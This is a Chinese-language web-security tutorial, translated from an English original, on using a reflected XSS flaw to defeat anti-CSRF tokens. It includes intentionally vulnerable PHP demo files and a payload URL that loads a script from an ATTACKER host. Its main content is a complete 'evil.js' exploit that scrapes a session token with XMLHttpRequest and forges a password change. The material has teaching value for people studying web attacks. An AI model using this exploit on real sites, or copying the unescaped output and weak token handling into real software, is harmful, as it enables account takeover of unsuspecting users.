Token Hijacking with XSS

译者:BlAck.Eagle

首先感谢每位读这篇文章的朋友,我选择“Token Hijacking with XSS”作为标题,并且我将会讲述对于用“anti-csrf”令牌保护的web程序的利用。(也就是突破token保护,继续csrf)

....

正如我所说,我们通过跨站请求伪造攻击, 但需要强调的是劫持javascript代码是我们进攻的重要组成部分。大家都知道很多人会发布一些xss漏洞,如果你认为xss只是用来 alert(/xss/),我会告诉你错了。因为任何漏洞都不能低估,你们还记得Apache是用JIRA's 的XSS漏洞来攻陷的吗?

有时,如果应用程序不存储客户端的任何有用的数据,发现的XSS漏洞是无用的。但它可以用来csrf啊!

为了写这篇文章,我写了几个简单的程序(它们是如此短小!!),应用程序 有三个文件,命名为“xssable.php”的文件具有XSS漏洞,这很明显,另一个“form.php”是用于发送一个用户更改密码的表单,并且这个 文件创建了一个会话令牌,然后发送给"passwd.php"校验。然后我给出每个文件的代码

Token Hijacking with XSS

xssable.php

<?php
     
    $user = stripslashes($_GET["user"]);
     
    echo "Hello dear $user";
     
    ?>

form.php

    <?php
     
    session_start();
     
    $token = md5(microtime().rand(1337, 31337));
     
    session_register("anti-csrf-token");
     
    $_SESSION["anti-csrf-token"] = $token;
     
    $username = "admin";
     
    $password = "123456";
     
    ?>
     
    <html>
     
    <body>
     
    <form id="change_password" action="passwd.php" method="POST">
     
    <input type="hidden" name="token" value="<?php echo $token; ?>">
     
    Username: <input type="text" name="uname" value="<?php echo $username; ?>"><br>
     
    Password: <input type="password" name="pwd" value="<?php echo $password; ?>"><br>
     
    <input type="submit" name="change" value="Change">
     
    </form>
     
    </body>
     
    </html>

passwd.php

<?php
     
    session_start();
     
    $token = $_SESSION["anti-csrf-token"];
     
    $form_token = $_POST["token"];

     
    if ($token == $form_token) {
     
    echo "Your password changed..<br>";
     
    } else
     

     
    {
     
    echo "CSRF Attack Detected!!!";
     
    }
     
    ?>

接下来我利用经典的XSS漏洞,执行我们的邪恶的代码“evil.js”,并且更改用户的密码。我们的payload如下

  1. http://VICTIM/xssable.php?user=<script src=http://ATTACKER/evil.js ></script>

Token Hijacking with XSS

正如你看到的那样,evil.js( 在图片上的demo就是evil.js)会通过XMLHTTPRequest请求form.php,并且通过正则表达式劫持会话令牌,(划横线的部分是要劫持的部分)。

Token Hijacking with XSS

最后,正如你在图2中看到的.这个demo请求passwd.php(通过合法的会话令牌)不要忘记 Demo是你最好的朋友

evil.js代码如下:thanks for robert woyigui menzhi007

/* evil javascript file.. */
     
    function get_src() {
     
    if(window.ActiveXObject)
     
    {
     
    ajax=new ActiveXObject("Microsoft.XMLHTTP");
     
    }else if(window.XMLHttpRequest)
     
    {
     
    ajax=new XMLHttpRequest();
     
    }
     

     
    ajax.onreadystatechange = function () { get_token(ajax); }
     
    ajax.open("GET", "form.php", true);
     
    ajax.send();
     
    }
     
    function get_token(a) {
     
    if (a.readyState == 4 && a.status == 200) {
     
    var src = a.responseText;
     
    p = /value="([0-9a-f]+)"/;
     
    var token = src.match(p);
     
    params = "token=" + token[1] + "&uname=OWNED&pwd=PWNED";
     
    attack(params);
     
    }
     
    }
     
    function attack(parameters) {
     
    if(window.ActiveXObject)
     
    {
     
    http_request=new ActiveXObject("Microsoft.XMLHTTP");
     
    }else if(window.XMLHttpRequest)
     
    {
     
    http_request=new XMLHttpRequest();
     
    }
     

     
    http_request.onreadystatechange = function () {
     
    if (http_request.readyState == 4 && http_request.status == 200) {
     
    alert("YOU GOT PWNED!!!!\n\n" + http_request.responseText);
     
    }
     
    }
     
    http_request.open('POST', "passwd.php", true);
     
    http_request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
     
    http_request.setRequestHeader("Content-length", parameters.length);
     
    http_request.setRequestHeader("Connection", "close");
     
    http_request.send(parameters);
     
    }
     
    get_src();

你可能感兴趣的:(Token Hijacking with XSS)